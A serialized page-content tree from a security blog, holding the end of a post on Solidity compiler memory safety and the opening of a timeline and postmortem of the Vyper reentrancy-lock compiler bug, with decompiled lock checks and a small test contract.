}\n",[28882],{"type":23,"tag":94,"props":28883,"children":28884},{"__ignoreMap":7},[28885,28893,28901,28908,28944,28951,28959,28967,28975,28983,28991,29004,29017,29025],{"type":23,"tag":314,"props":28886,"children":28887},{"class":316,"line":317},[28888],{"type":23,"tag":314,"props":28889,"children":28890},{"style":374},[28891],{"type":28,"value":28892},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":23,"tag":314,"props":28894,"children":28895},{"class":316,"line":370},[28896],{"type":23,"tag":314,"props":28897,"children":28898},{"style":374},[28899],{"type":28,"value":28900},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":23,"tag":314,"props":28902,"children":28903},{"class":316,"line":380},[28904],{"type":23,"tag":314,"props":28905,"children":28906},{"emptyLinePlaceholder":18},[28907],{"type":28,"value":1088},{"type":23,"tag":314,"props":28909,"children":28910},{"class":316,"line":1091},[28911,28916,28921,28926,28930,28935,28940],{"type":23,"tag":314,"props":28912,"children":28913},{"style":2674},[28914],{"type":28,"value":28915},"string",{"type":23,"tag":314,"props":28917,"children":28918},{"style":338},[28919],{"type":28,"value":28920}," IRGenerator::",{"type":23,"tag":314,"props":28922,"children":28923},{"style":332},[28924],{"type":28,"value":28925},"memoryInit",{"type":23,"tag":314,"props":28927,"children":28928},{"style":338},[28929],{"type":28,"value":341},{"type":23,"tag":314,"props":28931,"children":28932},{"style":321},[28933],{"type":28,"value":28934},"bool",{"type":23,"tag":314,"props":28936,"children":28937},{"style":360},[28938],{"type":28,"value":28939}," _useMemoryGuard",{"type":23,"tag":314,"props":28941,"children":28942},{"style":338},[28943],{"type":28,"value":2414},{"type":23,"tag":314,"props":28945,"children":28946},{"class":316,"line":1141},[28947],{"type":23,"tag":314,"props":28948,"children":28949},{"style":338},[28950],{"type":28,"value":10129},{"type":23,"tag":314,"props":28952,"children":28953},{"class":316,"line":1173},[28954],{"type":23,"tag":314,"props":28955,"children":28956},{"style":374},[28957],{"type":28,"value":28958}," // This function should be called at the beginning of the EVM call frame\n",{"type":23,"tag":314,"props":28960,"children":28961},{"class":316,"line":1208},[28962],{"type":23,"tag":314,"props":28963,"children":28964},{"style":374},[28965],{"type":28,"value":28966}," // and thus can assume all memory to be zero, including the contents of\n",{"type":23,"tag":314,"props":28968,"children":28969},{"class":316,"line":1216},[28970],{"type":23,"tag":314,"props":28971,"children":28972},{"style":374},[28973],{"type":28,"value":28974}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":23,"tag":314,"props":28976,"children":28977},{"class":316,"line":1301},[28978],{"type":23,"tag":314,"props":28979,"children":28980},{"style":2284},[28981],{"type":28,"value":28982}," return\n",{"type":23,"tag":314,"props":28984,"children":28985},{"class":316,"line":1343},[28986],{"type":23,"tag":314,"props":28987,"children":28988},{"style":338},[28989],{"type":28,"value":28990}," Whiskers{\n",{"type":23,"tag":314,"props":28992,"children":28993},{"class":316,"line":1351},[28994,28999],{"type":23,"tag":314,"props":28995,"children":28996},{"style":338},[28997],{"type":28,"value":28998}," _useMemoryGuard ",{"type":23,"tag":314,"props":29000,"children":29001},{"style":354},[29002],{"type":28,"value":29003},"?\n",{"type":23,"tag":314,"props":29005,"children":29006},{"class":316,"line":1387},[29007,29012],{"type":23,"tag":314,"props":29008,"children":29009},{"style":1245},[29010],{"type":28,"value":29011}," \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":23,"tag":314,"props":29013,"children":29014},{"style":354},[29015],{"type":28,"value":29016}," :\n",{"type":23,"tag":314,"props":29018,"children":29019},{"class":316,"line":1422},[29020],{"type":23,"tag":314,"props":29021,"children":29022},{"style":1245},[29023],{"type":28,"value":29024}," \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":23,"tag":314,"props":29026,"children":29027},{"class":316,"line":1430},[29028],{"type":23,"tag":314,"props":29029,"children":29030},{"style":338},[29031],{"type":28,"value":5126},{"type":23,"tag":24,"props":29033,"children":29034},{},[29035,29040,29042,29048],{"type":23,"tag":94,"props":29036,"children":29038},{"className":29037},[],[29039],{"type":28,"value":28627},{"type":28,"value":29041}," will now no longer have ",{"type":23,"tag":94,"props":29043,"children":29045},{"className":29044},[],[29046],{"type":28,"value":29047},"memoryguard(0x80)",{"type":28,"value":29049}," as expected.",{"type":23,"tag":304,"props":29051,"children":29053},{"className":3729,"code":29052,"language":3728,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n mstore(64, 128)\n",[29054],{"type":23,"tag":94,"props":29055,"children":29056},{"__ignoreMap":7},[29057,29072],{"type":23,"tag":314,"props":29058,"children":29059},{"class":316,"line":317},[29060,29064,29068],{"type":23,"tag":314,"props":29061,"children":29062},{"style":374},[29063],{"type":28,"value":28644},{"type":23,"tag":314,"props":29065,"children":29066},{"style":321},[29067],{"type":28,"value":28649},{"type":23,"tag":314,"props":29069,"children":29070},{"style":374},[29071],{"type":28,"value":28654},{"type":23,"tag":314,"props":29073,"children":29074},{"class":316,"line":370},[29075,29080,29084,29088,29092,29097],{"type":23,"tag":314,"props":29076,"children":29077},{"style":332},[29078],{"type":28,"value":29079}," mstore",{"type":23,"tag":314,"props":29081,"children":29082},{"style":338},[29083],{"type":28,"value":341},{"type":23,"tag":314,"props":29085,"children":29086},{"style":1054},[29087],{"type":28,"value":28671},{"type":23,"tag":314,"props":29089,"children":29090},{"style":338},[29091],{"type":28,"value":778},{"type":23,"tag":314,"props":29093,"children":29094},{"style":1054},[29095],{"type":28,"value":29096},"128",{"type":23,"tag":314,"props":29098,"children":29099},{"style":338},[29100],{"type":28,"value":2414},{"type":23,"tag":24,"props":29102,"children":29103},{},[29104,29106,29111,29113,29118],{"type":28,"value":29105},"Semantically, the absence of ",{"type":23,"tag":94,"props":29107,"children":29109},{"className":29108},[],[29110],{"type":28,"value":28619},{"type":28,"value":29112}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":23,"tag":94,"props":29114,"children":29116},{"className":29115},[],[29117],{"type":28,"value":28619},{"type":28,"value":29119}," invariant.",{"type":23,"tag":2186,"props":29121,"children":29122},{},[29123],{"type":23,"tag":24,"props":29124,"children":29125},{},[29126,29127,29132,29133,29138,29139,29144],{"type":28,"value":28713},{"type":23,"tag":94,"props":29128,"children":29130},{"className":29129},[],[29131],{"type":28,"value":28719},{"type":28,"value":28721},{"type":23,"tag":94,"props":29134,"children":29136},{"className":29135},[],[29137],{"type":28,"value":28727},{"type":28,"value":28729},{"type":23,"tag":94,"props":29140,"children":29142},{"className":29141},[],[29143],{"type":28,"value":13196},{"type":28,"value":282},{"type":23,"tag":24,"props":29146,"children":29147},{},[29148],{"type":28,"value":29149},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":23,"tag":61,"props":29151,"children":29153},{"id":29152},"undefined-behavior",[29154],{"type":28,"value":29155},"Undefined Behavior",{"type":23,"tag":24,"props":29157,"children":29158},{},[29159,29161,29166,29168,29173,29175,29181],{"type":28,"value":29160},"How strict is memory safety? When it comes to ",{"type":23,"tag":94,"props":29162,"children":29164},{"className":29163},[],[29165],{"type":28,"value":28619},{"type":28,"value":29167},", only touching memory after 0x80 seems to matter. Is ",{"type":23,"tag":94,"props":29169,"children":29171},{"className":29170},[],[29172],{"type":28,"value":28277},{"type":28,"value":29174}," annotated assembly that touches memory at ",{"type":23,"tag":94,"props":29176,"children":29178},{"className":29177},[],[29179],{"type":28,"value":29180},"[0x40, 0x7f]",{"type":28,"value":29182}," really safe?",{"type":23,"tag":24,"props":29184,"children":29185},{},[29186,29187,29194,29196,29201],{"type":28,"value":92},{"type":23,"tag":31,"props":29188,"children":29191},{"href":29189,"rel":29190},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[35],[29192],{"type":28,"value":29193},"Solidity documentation",{"type":28,"value":29195}," mentions ",{"type":23,"tag":186,"props":29197,"children":29198},{},[29199],{"type":28,"value":29200},"undefined behavior",{"type":28,"value":29202}," three times.",{"type":23,"tag":84,"props":29204,"children":29205},{},[29206,29211,29226],{"type":23,"tag":88,"props":29207,"children":29208},{},[29209],{"type":28,"value":29210},"The existence of a dangling reference",{"type":23,"tag":88,"props":29212,"children":29213},{},[29214,29216],{"type":28,"value":29215},"Using verbatim improperly",{"type":23,"tag":14716,"props":29217,"children":29218},{},[29219],{"type":23,"tag":31,"props":29220,"children":29224},{"href":29221,"ariaDescribedBy":29222,"dataFootnoteRef":7,"id":29223},"#user-content-fn-2",[14723],"user-content-fnref-2",[29225],{"type":28,"value":2378},{"type":23,"tag":88,"props":29227,"children":29228},{},[29229],{"type":28,"value":29230},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":23,"tag":24,"props":29232,"children":29233},{},[29234],{"type":28,"value":29235},"Why does this matter?",{"type":23,"tag":24,"props":29237,"children":29238},{},[29239,29241,29248,29250,29257],{"type":28,"value":29240},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":23,"tag":31,"props":29242,"children":29245},{"href":29243,"rel":29244},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[35],[29246],{"type":28,"value":29247},"signed integer overflow is undefined",{"type":28,"value":29249},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":23,"tag":31,"props":29251,"children":29254},{"href":29252,"rel":29253},"https://blog.regehr.org/archives/1307",[35],[29255],{"type":28,"value":29256},"years down the line",{"type":28,"value":282},{"type":23,"tag":24,"props":29259,"children":29260},{},[29261,29263,29270,29271,29276],{"type":28,"value":29262},"Going back to Solidity, the specification makes ",{"type":23,"tag":31,"props":29264,"children":29267},{"href":29265,"rel":29266},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[35],[29268],{"type":28,"value":29269},"it unambiguously clear",{"type":28,"value":17770},{"type":23,"tag":186,"props":29272,"children":29273},{},[29274],{"type":28,"value":29275},"Thou shalt not modify the zero slot",{"type":28,"value":282},{"type":23,"tag":2186,"props":29278,"children":29279},{},[29280],{"type":23,"tag":24,"props":29281,"children":29282},{},[29283],{"type":28,"value":29284},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":23,"tag":24,"props":29286,"children":29287},{},[29288,29290,29295],{"type":28,"value":29289},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":23,"tag":186,"props":29291,"children":29292},{},[29293],{"type":28,"value":29294},"in Solidity",{"type":28,"value":282},{"type":23,"tag":24,"props":29297,"children":29298},{},[29299],{"type":28,"value":29300},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":23,"tag":84,"props":29302,"children":29303},{},[29304],{"type":23,"tag":88,"props":29305,"children":29306},{},[29307,29309,29316],{"type":28,"value":29308},"It very clearly ",{"type":23,"tag":31,"props":29310,"children":29313},{"href":29311,"rel":29312},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[35],[29314],{"type":28,"value":29315},"holds true today",{"type":28,"value":282},{"type":23,"tag":304,"props":29318,"children":29320},{"className":28358,"code":29319,"language":28360,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n setLocation(_inlineAsm);\n if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n m_context.setMemoryUnsafeInlineAssemblySeen();\n CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[29321],{"type":23,"tag":94,"props":29322,"children":29323},{"__ignoreMap":7},[29324,29364,29371,29384,29456,29477,29528,29535],{"type":23,"tag":314,"props":29325,"children":29326},{"class":316,"line":317},[29327,29331,29336,29341,29345,29350,29355,29360],{"type":23,"tag":314,"props":29328,"children":29329},{"style":321},[29330],{"type":28,"value":28934},{"type":23,"tag":314,"props":29332,"children":29333},{"style":338},[29334],{"type":28,"value":29335}," IRGeneratorForStatements::",{"type":23,"tag":314,"props":29337,"children":29338},{"style":332},[29339],{"type":28,"value":29340},"visit",{"type":23,"tag":314,"props":29342,"children":29343},{"style":338},[29344],{"type":28,"value":341},{"type":23,"tag":314,"props":29346,"children":29347},{"style":2674},[29348],{"type":28,"value":29349},"InlineAssembly",{"type":23,"tag":314,"props":29351,"children":29352},{"style":321},[29353],{"type":28,"value":29354}," const&",{"type":23,"tag":314,"props":29356,"children":29357},{"style":360},[29358],{"type":28,"value":29359}," _inlineAsm",{"type":23,"tag":314,"props":29361,"children":29362},{"style":338},[29363],{"type":28,"value":2414},{"type":23,"tag":314,"props":29365,"children":29366},{"class":316,"line":370},[29367],{"type":23,"tag":314,"props":29368,"children":29369},{"style":338},[29370],{"type":28,"value":10129},{"type":23,"tag":314,"props":29372,"children":29373},{"class":316,"line":380},[29374,29379],{"type":23,"tag":314,"props":29375,"children":29376},{"style":332},[29377],{"type":28,"value":29378}," setLocation",{"type":23,"tag":314,"props":29380,"children":29381},{"style":338},[29382],{"type":28,"value":29383},"(_inlineAsm);\n",{"type":23,"tag":314,"props":29385,"children":29386},{"class":316,"line":1091},[29387,29391,29395,29399,29404,29408,29413,29418,29423,29427,29431,29435,29439,29443,29447,29452],{"type":23,"tag":314,"props":29388,"children":29389},{"style":2284},[29390],{"type":28,"value":11527},{"type":23,"tag":314,"props":29392,"children":29393},{"style":338},[29394],{"type":28,"value":2324},{"type":23,"tag":314,"props":29396,"children":29397},{"style":354},[29398],{"type":28,"value":256},{"type":23,"tag":314,"props":29400,"children":29401},{"style":360},[29402],{"type":28,"value":29403},"_inlineAsm",{"type":23,"tag":314,"props":29405,"children":29406},{"style":338},[29407],{"type":28,"value":282},{"type":23,"tag":314,"props":29409,"children":29410},{"style":332},[29411],{"type":28,"value":29412},"annotation",{"type":23,"tag":314,"props":29414,"children":29415},{"style":338},[29416],{"type":28,"value":29417},"().",{"type":23,"tag":314,"props":29419,"children":29420},{"style":360},[29421],{"type":28,"value":29422},"hasMemoryEffects",{"type":23,"tag":314,"props":29424,"children":29425},{"style":354},[29426],{"type":28,"value":13432},{"type":23,"tag":314,"props":29428,"children":29429},{"style":354},[29430],{"type":28,"value":12112},{"type":23,"tag":314,"props":29432,"children":29433},{"style":360},[29434],{"type":28,"value":29403},{"type":23,"tag":314,"props":29436,"children":29437},{"style":338},[29438],{"type":28,"value":282},{"type":23,"tag":314,"props":29440,"children":29441},{"style":332},[29442],{"type":28,"value":29412},{"type":23,"tag":314,"props":29444,"children":29445},{"style":338},[29446],{"type":28,"value":29417},{"type":23,"tag":314,"props":29448,"children":29449},{"style":360},[29450],{"type":28,"value":29451},"markedMemorySafe",{"type":23,"tag":314,"props":29453,"children":29454},{"style":338},[29455],{"type":28,"value":2414},{"type":23,"tag":314,"props":29457,"children":29458},{"class":316,"line":1141},[29459,29464,29468,29473],{"type":23,"tag":314,"props":29460,"children":29461},{"style":360},[29462],{"type":28,"value":29463}," m_context",{"type":23,"tag":314,"props":29465,"children":29466},{"style":338},[29467],{"type":28,"value":282},{"type":23,"tag":314,"props":29469,"children":29470},{"style":332},[29471],{"type":28,"value":29472},"setMemoryUnsafeInlineAssemblySeen",{"type":23,"tag":314,"props":29474,"children":29475},{"style":338},[29476],{"type":28,"value":2926},{"type":23,"tag":314,"props":29478,"children":29479},{"class":316,"line":1173},[29480,29485,29489,29493,29498,29503,29507,29511,29515,29519,29524],{"type":23,"tag":314,"props":29481,"children":29482},{"style":338},[29483],{"type":28,"value":29484}," CopyTranslate bodyCopier{",{"type":23,"tag":314,"props":29486,"children":29487},{"style":360},[29488],{"type":28,"value":29403},{"type":23,"tag":314,"props":29490,"children":29491},{"style":338},[29492],{"type":28,"value":282},{"type":23,"tag":314,"props":29494,"children":29495},{"style":332},[29496],{"type":28,"value":29497},"dialect",{"type":23,"tag":314,"props":29499,"children":29500},{"style":338},[29501],{"type":28,"value":29502},"(), m_context, ",{"type":23,"tag":314,"props":29504,"children":29505},{"style":360},[29506],{"type":28,"value":29403},{"type":23,"tag":314,"props":29508,"children":29509},{"style":338},[29510],{"type":28,"value":282},{"type":23,"tag":314,"props":29512,"children":29513},{"style":332},[29514],{"type":28,"value":29412},{"type":23,"tag":314,"props":29516,"children":29517},{"style":338},[29518],{"type":28,"value":29417},{"type":23,"tag":314,"props":29520,"children":29521},{"style":360},[29522],{"type":28,"value":29523},"externalReferences",{"type":23,"tag":314,"props":29525,"children":29526},{"style":338},[29527],{"type":28,"value":1545},{"type":23,"tag":314,"props":29529,"children":29530},{"class":316,"line":1208},[29531],{"type":23,"tag":314,"props":29532,"children":29533},{"emptyLinePlaceholder":18},[29534],{"type":28,"value":1088},{"type":23,"tag":314,"props":29536,"children":29537},{"class":316,"line":1216},[29538,29543,29547,29552,29556,29560,29564,29569],{"type":23,"tag":314,"props":29539,"children":29540},{"style":338},[29541],{"type":28,"value":29542}," yul::Statement modified ",{"type":23,"tag":314,"props":29544,"children":29545},{"style":354},[29546],{"type":28,"value":1102},{"type":23,"tag":314,"props":29548,"children":29549},{"style":332},[29550],{"type":28,"value":29551}," bodyCopier",{"type":23,"tag":314,"props":29553,"children":29554},{"style":338},[29555],{"type":28,"value":341},{"type":23,"tag":314,"props":29557,"children":29558},{"style":360},[29559],{"type":28,"value":29403},{"type":23,"tag":314,"props":29561,"children":29562},{"style":338},[29563],{"type":28,"value":282},{"type":23,"tag":314,"props":29565,"children":29566},{"style":332},[29567],{"type":28,"value":29568},"operations",{"type":23,"tag":314,"props":29570,"children":29571},{"style":338},[29572],{"type":28,"value":29573},"());`\n",{"type":23,"tag":84,"props":29575,"children":29576},{"start":370},[29577],{"type":23,"tag":88,"props":29578,"children":29579},{},[29580],{"type":28,"value":29581},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":23,"tag":24,"props":29583,"children":29584},{},[29585],{"type":28,"value":29586},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":23,"tag":61,"props":29588,"children":29589},{"id":4565},[29590],{"type":28,"value":4568},{"type":23,"tag":24,"props":29592,"children":29593},{},[29594],{"type":28,"value":29595},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":23,"tag":24,"props":29597,"children":29598},{},[29599],{"type":28,"value":29600},"It's a promise between YUL generation and optimization.",{"type":23,"tag":17660,"props":29602,"children":29604},{"className":29603,"dataFootnotes":7},[17663],[29605,29610],{"type":23,"tag":61,"props":29606,"children":29608},{"className":29607,"id":14723},[17668],[29609],{"type":28,"value":17671},{"type":23,"tag":84,"props":29611,"children":29612},{},[29613,29647],{"type":23,"tag":88,"props":29614,"children":29616},{"id":29615},"user-content-fn-1",[29617,29619,29624,29626,29632,29634,29639,29641],{"type":28,"value":29618},"As an interesting aside, ",{"type":23,"tag":94,"props":29620,"children":29622},{"className":29621},[],[29623],{"type":28,"value":28619},{"type":28,"value":29625}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":23,"tag":94,"props":29627,"children":29629},{"className":29628},[],[29630],{"type":28,"value":29631},"memory-unsafe",{"type":28,"value":29633}," code can ",{"type":23,"tag":186,"props":29635,"children":29636},{},[29637],{"type":28,"value":29638},"decrease",{"type":28,"value":29640}," gas consumption, especially in the YUL header. ",{"type":23,"tag":31,"props":29642,"children":29645},{"href":29643,"ariaLabel":17774,"className":29644,"dataFootnoteBackref":7},"#user-content-fnref-1",[17776],[29646],{"type":28,"value":17779},{"type":23,"tag":88,"props":29648,"children":29650},{"id":29649},"user-content-fn-2",[29651,29653,29658,29660],{"type":28,"value":29652},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":23,"tag":186,"props":29654,"children":29655},{},[29656],{"type":28,"value":29657},"guarantee",{"type":28,"value":29659}," behavior with opaque bytes. ",{"type":23,"tag":31,"props":29661,"children":29664},{"href":29662,"ariaLabel":17794,"className":29663,"dataFootnoteBackref":7},"#user-content-fnref-2",[17776],[29665],{"type":28,"value":17779},{"type":23,"tag":2096,"props":29667,"children":29668},{},[29669],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":29671},[29672,29673,29674,29675,29676,29677,29678],{"id":28263,"depth":370,"text":28266},{"id":28317,"depth":370,"text":28320},{"id":28581,"depth":370,"text":28584},{"id":28312,"depth":370,"text":28805},{"id":29152,"depth":370,"text":29155},{"id":4565,"depth":370,"text":4568},{"id":14723,"depth":370,"text":17671},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":29683,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":29684,"description":29685,"author":4974,"image":29686,"date":29688,"isFeatured":18,"onBlogPage":18,"tags":29689,"body":29691,"_type":2117,"_id":30442,"_source":2119,"_file":30443,"_stem":30444,"_extension":2122},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":29687,"height":12871,"width":12871},"/posts/vyper-timeline/header.jpg","2023-08-01",[29690,28258],"vyper",{"type":20,"children":29692,"toc":30433},[29693,29698,29703,29708,29714,29719,29737,29747,29752,29760,29770,29789,29869,29879,30039,30044,30049,30059,30066,30071,30076,30090,30095,30112,30129,30148,30158,30171,30176,30189,30194,30199,30209,30236,30246,30276,30282,30291,30297,30302,30307,30312,30318,30323,30337,30342,30347,30352,30358,30363,30376,30402,30407,30429],{"type":23,"tag":24,"props":29694,"children":29695},{},[29696],{"type":28,"value":29697},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":23,"tag":24,"props":29699,"children":29700},{},[29701],{"type":28,"value":29702},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":23,"tag":24,"props":29704,"children":29705},{},[29706],{"type":28,"value":29707},"Here's how it all happened.",{"type":23,"tag":61,"props":29709,"children":29711},{"id":29710},"timeline",[29712],{"type":28,"value":29713},"Timeline",{"type":23,"tag":24,"props":29715,"children":29716},{},[29717],{"type":28,"value":29718},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":23,"tag":24,"props":29720,"children":29721},{},[29722,29727,29729,29736],{"type":23,"tag":721,"props":29723,"children":29724},{},[29725],{"type":28,"value":29726},"13:10 UTC",{"type":28,"value":29728}," pETH/ETH was ",{"type":23,"tag":31,"props":29730,"children":29733},{"href":29731,"rel":29732},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[35],[29734],{"type":28,"value":29735},"drained of $11M",{"type":28,"value":282},{"type":23,"tag":24,"props":29738,"children":29739},{},[29740,29745],{"type":23,"tag":721,"props":29741,"children":29742},{},[29743],{"type":28,"value":29744},"13:19 UTC",{"type":28,"value":29746}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":23,"tag":24,"props":29748,"children":29749},{},[29750],{"type":28,"value":29751},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":23,"tag":2186,"props":29753,"children":29754},{},[29755],{"type":23,"tag":24,"props":29756,"children":29757},{},[29758],{"type":28,"value":29759},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":23,"tag":24,"props":29761,"children":29762},{},[29763,29768],{"type":23,"tag":721,"props":29764,"children":29765},{},[29766],{"type":28,"value":29767},"14:01 UTC",{"type":28,"value":29769}," A warroom was formed around this comment.",{"type":23,"tag":24,"props":29771,"children":29772},{},[29773,29778,29780,29787],{"type":23,"tag":721,"props":29774,"children":29775},{},[29776],{"type":28,"value":29777},"14:07 UTC",{"type":28,"value":29779}," We decompiled the JPEGd contract ",{"type":23,"tag":31,"props":29781,"children":29784},{"href":29782,"rel":29783},"https://ethervm.io/decompile",[35],[29785],{"type":28,"value":29786},"with our favorite decompiler",{"type":28,"value":29788}," and noted a difference in reentrancy guard storage slot.",{"type":23,"tag":304,"props":29790,"children":29794},{"className":29791,"code":29792,"language":29793,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n if (storage[0x00]) { revert(memory[0x00:0x00]); }\n storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n if (storage[0x02]) { revert(memory[0x00:0x00]); }\n storage[0x02] = 0x01;\n","yul",[29795],{"type":23,"tag":94,"props":29796,"children":29797},{"__ignoreMap":7},[29798,29806,29814,29822,29830,29837,29845,29853,29861],{"type":23,"tag":314,"props":29799,"children":29800},{"class":316,"line":317},[29801],{"type":23,"tag":314,"props":29802,"children":29803},{},[29804],{"type":28,"value":29805},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":23,"tag":314,"props":29807,"children":29808},{"class":316,"line":370},[29809],{"type":23,"tag":314,"props":29810,"children":29811},{},[29812],{"type":28,"value":29813},"label_0057:\n",{"type":23,"tag":314,"props":29815,"children":29816},{"class":316,"line":380},[29817],{"type":23,"tag":314,"props":29818,"children":29819},{},[29820],{"type":28,"value":29821}," if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":314,"props":29823,"children":29824},{"class":316,"line":1091},[29825],{"type":23,"tag":314,"props":29826,"children":29827},{},[29828],{"type":28,"value":29829}," storage[0x00] = 0x01;\n",{"type":23,"tag":314,"props":29831,"children":29832},{"class":316,"line":1141},[29833],{"type":23,"tag":314,"props":29834,"children":29835},{"emptyLinePlaceholder":18},[29836],{"type":28,"value":1088},{"type":23,"tag":314,"props":29838,"children":29839},{"class":316,"line":1173},[29840],{"type":23,"tag":314,"props":29841,"children":29842},{},[29843],{"type":28,"value":29844},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":23,"tag":314,"props":29846,"children":29847},{"class":316,"line":1208},[29848],{"type":23,"tag":314,"props":29849,"children":29850},{},[29851],{"type":28,"value":29852},"label_1AF3:\n",{"type":23,"tag":314,"props":29854,"children":29855},{"class":316,"line":1216},[29856],{"type":23,"tag":314,"props":29857,"children":29858},{},[29859],{"type":28,"value":29860}," if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":314,"props":29862,"children":29863},{"class":316,"line":1301},[29864],{"type":23,"tag":314,"props":29865,"children":29866},{},[29867],{"type":28,"value":29868}," storage[0x02] = 0x01;\n",{"type":23,"tag":24,"props":29870,"children":29871},{},[29872,29877],{"type":23,"tag":721,"props":29873,"children":29874},{},[29875],{"type":28,"value":29876},"14:27 UTC",{"type":28,"value":29878}," We confirmed this behavior with a simple local test contract.",{"type":23,"tag":304,"props":29880,"children":29882},{"className":18699,"code":29881,"language":18698,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n return False\n",[29883],{"type":23,"tag":94,"props":29884,"children":29885},{"__ignoreMap":7},[29886,29894,29915,29950,29962,29969,29976,29995,30027],{"type":23,"tag":314,"props":29887,"children":29888},{"class":316,"line":317},[29889],{"type":23,"tag":314,"props":29890,"children":29891},{"style":332},[29892],{"type":28,"value":29893},"@external\n",{"type":23,"tag":314,"props":29895,"children":29896},{"class":316,"line":370},[29897,29902,29906,29911],{"type":23,"tag":314,"props":29898,"children":29899},{"style":332},[29900],{"type":28,"value":29901},"@nonreentrant",{"type":23,"tag":314,"props":29903,"children":29904},{"style":338},[29905],{"type":28,"value":341},{"type":23,"tag":314,"props":29907,"children":29908},{"style":1245},[29909],{"type":28,"value":29910},"\"lock\"",{"type":23,"tag":314,"props":29912,"children":29913},{"style":338},[29914],{"type":28,"value":2414},{"type":23,"tag":314,"props":29916,"children":29917},{"class":316,"line":380},[29918,29923,29928,29932,29937,29942,29946],{"type":23,"tag":314,"props":29919,"children":29920},{"style":321},[29921],{"type":28,"value":29922},"def",{"type":23,"tag":314,"props":29924,"children":29925},{"style":332},[29926],{"type":28,"value":29927}," test",{"type":23,"tag":314,"props":29929,"children":29930},{"style":338},[29931],{"type":28,"value":341},{"type":23,"tag":314,"props":29933,"children":29934},{"style":360},[29935],{"type":28,"value":29936},"addr",{"type":23,"tag":314,"props":29938,"children":29939},{"style":338},[29940],{"type":28,"value":29941},": address) -> ",{"type":23,"tag":314,"props":29943,"children":29944},{"style":2674},[29945],{"type":28,"value":28934},{"type":23,"tag":314,"props":29947,"children":29948},{"style":338},[29949],{"type":28,"value":4822},{"type":23,"tag":314,"props":29951,"children":29952},{"class":316,"line":1091},[29953,29957],{"type":23,"tag":314,"props":29954,"children":29955},{"style":2284},[29956],{"type":28,"value":16228},{"type":23,"tag":314,"props":29958,"children":29959},{"style":321},[29960],{"type":28,"value":29961}," 